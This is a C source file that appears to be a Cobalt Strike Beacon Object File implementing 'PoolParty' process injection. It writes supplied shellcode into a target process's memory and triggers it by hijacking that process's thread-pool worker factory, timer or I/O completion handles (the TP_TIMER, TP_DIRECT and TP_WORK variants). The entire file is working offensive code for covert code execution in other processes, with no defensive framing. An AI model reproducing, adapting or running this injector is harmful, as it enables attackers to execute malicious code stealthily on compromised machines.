injectpoolparty.c 9.3 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214
  1. #include <stdio.h>
  2. #include <windows.h>
  3. #include "injectpoolparty.h"
  4. #include "beacon.h"
  5. BYTE* NtQueryObject_(HANDLE x, OBJECT_INFORMATION_CLASS y) {
  6. ULONG InformationLength = 0;
  7. NTSTATUS Ntstatus = STATUS_INFO_LENGTH_MISMATCH;
  8. BYTE* Information = NULL;
  9. NtQueryObject_t pNtQueryObject = (NtQueryObject_t) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQueryObject");
  10. do {
  11. Information = (BYTE*)MSVCRT$realloc(Information, InformationLength);
  12. Ntstatus = pNtQueryObject(x, y, Information, InformationLength, &InformationLength);
  13. } while (STATUS_INFO_LENGTH_MISMATCH == Ntstatus);
  14. return Information;
  15. }
  16. HANDLE HijackProcessHandle(PWSTR targetType, HANDLE targetProcess, DWORD accessRights) {
  17. BYTE* procInfoBuffer = NULL;
  18. ULONG bufferSize = 0;
  19. NTSTATUS status = STATUS_INFO_LENGTH_MISMATCH;
  20. NtQueryInformationProcess_t queryInfoProc = (NtQueryInformationProcess_t)(GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtQueryInformationProcess"));
  21. do {
  22. procInfoBuffer = (BYTE*)MSVCRT$realloc(procInfoBuffer, bufferSize);
  23. status = queryInfoProc(targetProcess, (PROCESSINFOCLASS)ProcessHandleInformation, procInfoBuffer, bufferSize, &bufferSize);
  24. } while (status == STATUS_INFO_LENGTH_MISMATCH);
  25. PPROCESS_HANDLE_SNAPSHOT_INFORMATION handleInfo = (PPROCESS_HANDLE_SNAPSHOT_INFORMATION)procInfoBuffer;
  26. HANDLE duplicatedHandle = NULL;
  27. for (ULONG index = 0; index < handleInfo->NumberOfHandles; index++) {
  28. KERNEL32$DuplicateHandle(targetProcess, handleInfo->Handles[index].HandleValue, KERNEL32$GetCurrentProcess(), &duplicatedHandle, accessRights, FALSE, 0);
  29. BYTE* objTypeInfoBuffer = NtQueryObject_(duplicatedHandle, ObjectTypeInformation);
  30. PPUBLIC_OBJECT_TYPE_INFORMATION objTypeInfo = (PPUBLIC_OBJECT_TYPE_INFORMATION)objTypeInfoBuffer;
  31. if (MSVCRT$wcscmp(targetType, objTypeInfo->TypeName.Buffer) == 0) {
  32. return duplicatedHandle;
  33. }
  34. }
  35. if (procInfoBuffer) {
  36. MSVCRT$free(procInfoBuffer);
  37. }
  38. return NULL;
  39. }
  40. WORKER_FACTORY_BASIC_INFORMATION GetWorkerFactoryBasicInformation(HANDLE hWorkerFactory) {
  41. WORKER_FACTORY_BASIC_INFORMATION WorkerFactoryInformation = { 0 };
  42. NtQueryInformationWorkerFactory_t pNtQueryInformationWorkerFactory = (NtQueryInformationWorkerFactory_t)(GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtQueryInformationWorkerFactory"));
  43. pNtQueryInformationWorkerFactory(hWorkerFactory, WorkerFactoryBasicInformation, &WorkerFactoryInformation, sizeof(WorkerFactoryInformation), NULL);
  44. return WorkerFactoryInformation;
  45. }
  46. void RemoteTpTimerInsertion(HANDLE hWorkerFactory, PVOID codeAddress, HANDLE hProcess, HANDLE hTimer) {
  47. WORKER_FACTORY_BASIC_INFORMATION WorkerFactoryInformation = GetWorkerFactoryBasicInformation(hWorkerFactory);
  48. PFULL_TP_TIMER pTpTimer = (PFULL_TP_TIMER)KERNEL32$CreateThreadpoolTimer((PTP_TIMER_CALLBACK)(codeAddress), NULL, NULL);
  49. PFULL_TP_TIMER RemoteTpTimerAddress = (PFULL_TP_TIMER)(KERNEL32$VirtualAllocEx(hProcess, NULL, sizeof(FULL_TP_TIMER), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE));
  50. int Timeout = -10000000;
  51. pTpTimer->Work.CleanupGroupMember.Pool = (PFULL_TP_POOL)(WorkerFactoryInformation.StartParameter);
  52. pTpTimer->DueTime = Timeout;
  53. pTpTimer->WindowStartLinks.Key = Timeout;
  54. pTpTimer->WindowEndLinks.Key = Timeout;
  55. pTpTimer->WindowStartLinks.Children.Flink = &RemoteTpTimerAddress->WindowStartLinks.Children;
  56. pTpTimer->WindowStartLinks.Children.Blink = &RemoteTpTimerAddress->WindowStartLinks.Children;
  57. pTpTimer->WindowEndLinks.Children.Flink = &RemoteTpTimerAddress->WindowEndLinks.Children;
  58. pTpTimer->WindowEndLinks.Children.Blink = &RemoteTpTimerAddress->WindowEndLinks.Children;
  59. KERNEL32$WriteProcessMemory(hProcess, RemoteTpTimerAddress, pTpTimer, sizeof(FULL_TP_TIMER), NULL);
  60. PVOID TpTimerWindowStartLinks = &RemoteTpTimerAddress->WindowStartLinks;
  61. KERNEL32$WriteProcessMemory(hProcess,
  62. &pTpTimer->Work.CleanupGroupMember.Pool->TimerQueue.AbsoluteQueue.WindowStart.Root,
  63. (PVOID)(&TpTimerWindowStartLinks),
  64. sizeof(TpTimerWindowStartLinks), NULL);
  65. PVOID TpTimerWindowEndLinks = &RemoteTpTimerAddress->WindowEndLinks;
  66. KERNEL32$WriteProcessMemory(hProcess, &pTpTimer->Work.CleanupGroupMember.Pool->TimerQueue.AbsoluteQueue.WindowEnd.Root, (PVOID)(&TpTimerWindowEndLinks), sizeof(TpTimerWindowEndLinks), NULL);
  67. LARGE_INTEGER ulDueTime = { 0 };
  68. ulDueTime.QuadPart = Timeout;
  69. T2_SET_PARAMETERS Parameters = { 0 };
  70. NtSetTimer2_t pNtSetTimer2 = (NtSetTimer2_t)(GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtSetTimer2"));
  71. pNtSetTimer2(hTimer, &ulDueTime, 0, &Parameters);
  72. }
  73. //susceptible to slow execution time
  74. void RemoteTpWorkInsertion(HANDLE hWorkerFactory, PVOID shellcodeAddress, HANDLE hTargetPid) {
  75. WORKER_FACTORY_BASIC_INFORMATION WorkerFactoryInformation = GetWorkerFactoryBasicInformation(hWorkerFactory);
  76. FULL_TP_POOL TargetTpPool;
  77. SIZE_T bytesRead;
  78. if (!KERNEL32$ReadProcessMemory(hTargetPid, WorkerFactoryInformation.StartParameter, &TargetTpPool, sizeof(FULL_TP_POOL), &bytesRead)) return;
  79. PLIST_ENTRY TargetTaskQueueHighPriorityList = &TargetTpPool.TaskQueue[TP_CALLBACK_PRIORITY_HIGH]->Queue;
  80. PFULL_TP_WORK pTpWork = (PFULL_TP_WORK)KERNEL32$CreateThreadpoolWork((PTP_WORK_CALLBACK)shellcodeAddress, NULL, NULL);
  81. pTpWork->CleanupGroupMember.Pool = (PFULL_TP_POOL)WorkerFactoryInformation.StartParameter;
  82. pTpWork->Task.ListEntry.Flink = TargetTaskQueueHighPriorityList;
  83. pTpWork->Task.ListEntry.Blink = TargetTaskQueueHighPriorityList;
  84. pTpWork->WorkState.Exchange = 0x2;
  85. PFULL_TP_WORK pRemoteTpWork = (PFULL_TP_WORK)KERNEL32$VirtualAllocEx(hTargetPid, NULL, sizeof(FULL_TP_WORK), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
  86. KERNEL32$WriteProcessMemory(hTargetPid, pRemoteTpWork, pTpWork, sizeof(FULL_TP_WORK), NULL);
  87. PLIST_ENTRY RemoteWorkItemTaskList = &pRemoteTpWork->Task.ListEntry;
  88. KERNEL32$WriteProcessMemory(hTargetPid, &TargetTpPool.TaskQueue[TP_CALLBACK_PRIORITY_HIGH]->Queue.Flink, &RemoteWorkItemTaskList, sizeof(RemoteWorkItemTaskList), NULL);
  89. KERNEL32$WriteProcessMemory(hTargetPid, &TargetTpPool.TaskQueue[TP_CALLBACK_PRIORITY_HIGH]->Queue.Blink, &RemoteWorkItemTaskList, sizeof(RemoteWorkItemTaskList), NULL);
  90. }
  91. void RemoteTpDirectInsertion(HANDLE hIoCompletion, PVOID shellcodeAddress, HANDLE hTargetPid) {
  92. TP_DIRECT Direct;
  93. ZwSetIoCompletion_t pZwSetIoCompletion = (ZwSetIoCompletion_t)(GetProcAddress(GetModuleHandleA("ntdll.dll"), "ZwSetIoCompletion"));
  94. MSVCRT$memset(&Direct, 0, sizeof(TP_DIRECT));
  95. Direct.Callback = shellcodeAddress;
  96. PTP_DIRECT RemoteDirectAddress = (PTP_DIRECT)KERNEL32$VirtualAllocEx(hTargetPid, NULL, sizeof(TP_DIRECT), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
  97. KERNEL32$WriteProcessMemory(hTargetPid, RemoteDirectAddress, &Direct, sizeof(TP_DIRECT), NULL);
  98. pZwSetIoCompletion(hIoCompletion, RemoteDirectAddress, 0, 0, 0);
  99. }
  100. PVOID WriteCode(HANDLE hProc, unsigned char * code, unsigned int code_len) {
  101. PVOID pAddress = NULL;
  102. DWORD dwOld = NULL;
  103. BOOL result;
  104. pAddress = KERNEL32$VirtualAllocEx(hProc, NULL, code_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
  105. if (pAddress == NULL) return NULL;
  106. result = KERNEL32$WriteProcessMemory(hProc, pAddress, (PVOID) code, (SIZE_T) code_len, (SIZE_T *) NULL);
  107. if (!result) goto cleanup;
  108. result = KERNEL32$VirtualProtectEx(hProc, pAddress, code_len, PAGE_EXECUTE_READ, &dwOld);
  109. if (!result) goto cleanup;
  110. return pAddress;
  111. cleanup:
  112. if (pAddress != NULL) KERNEL32$VirtualFreeEx(hProc, pAddress, 0, MEM_RELEASE);
  113. return NULL;
  114. }
  115. int go(char *args, int len) {
  116. datap parser;
  117. HANDLE hProc = NULL;
  118. PVOID pAddress = NULL;
  119. HANDLE hWorkerFactory = NULL;
  120. HANDLE hTimer = NULL;
  121. DWORD pid = NULL;
  122. CHAR *option = "";
  123. unsigned char * code = NULL;
  124. unsigned int code_len = NULL;
  125. BeaconDataParse(&parser, args, len);
  126. option = BeaconDataExtract(&parser, NULL);
  127. pid = BeaconDataInt(&parser);
  128. code = BeaconDataExtract(&parser, &code_len);
  129. hProc = KERNEL32$OpenProcess(PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_DUP_HANDLE | PROCESS_QUERY_INFORMATION, FALSE, (DWORD) pid);
  130. if (!hProc) {
  131. BeaconPrintf(CALLBACK_ERROR, "[ERROR] Failed opening a handle to the specified process.\n");
  132. return -1;
  133. }
  134. pAddress = WriteCode(hProc, code, code_len);
  135. if (!pAddress) {
  136. BeaconPrintf(CALLBACK_ERROR, "[ERROR] Failed to write code to the designated process.\n");
  137. return -1;
  138. }
  139. //variant 8
  140. if (MSVCRT$strcmp(option, "TP_TIMER") == 0) {
  141. hWorkerFactory = HijackProcessHandle((PWSTR)L"TpWorkerFactory\0", hProc, WORKER_FACTORY_ALL_ACCESS);
  142. hTimer = HijackProcessHandle((PWSTR)L"IRTimer\0", hProc, TIMER_ALL_ACCESS);
  143. if (!hWorkerFactory || !hTimer) goto cleanup;
  144. RemoteTpTimerInsertion(hWorkerFactory, pAddress, hProc, hTimer);
  145. }
  146. //variant 7
  147. if (MSVCRT$strcmp(option, "TP_DIRECT") == 0) {
  148. hWorkerFactory = HijackProcessHandle((PWSTR)L"IoCompletion\0", hProc, IO_COMPLETION_ALL_ACCESS);
  149. if (!hWorkerFactory) goto cleanup;
  150. RemoteTpDirectInsertion(hWorkerFactory, pAddress, hProc);
  151. }
  152. //variant 2:
  153. if (MSVCRT$strcmp(option, "TP_WORK") == 0) {
  154. hWorkerFactory = HijackProcessHandle((PWSTR)L"TpWorkerFactory\0", hProc, WORKER_FACTORY_ALL_ACCESS);
  155. if (!hWorkerFactory) goto cleanup;
  156. RemoteTpWorkInsertion(hWorkerFactory, pAddress, hProc);
  157. }
  158. BeaconPrintf(CALLBACK_OUTPUT, "Successfully injected code in process ID [%d] at memory address [%p].\n", pid, pAddress);
  159. cleanup:
  160. KERNEL32$CloseHandle(hProc);
  161. return 0;
  162. }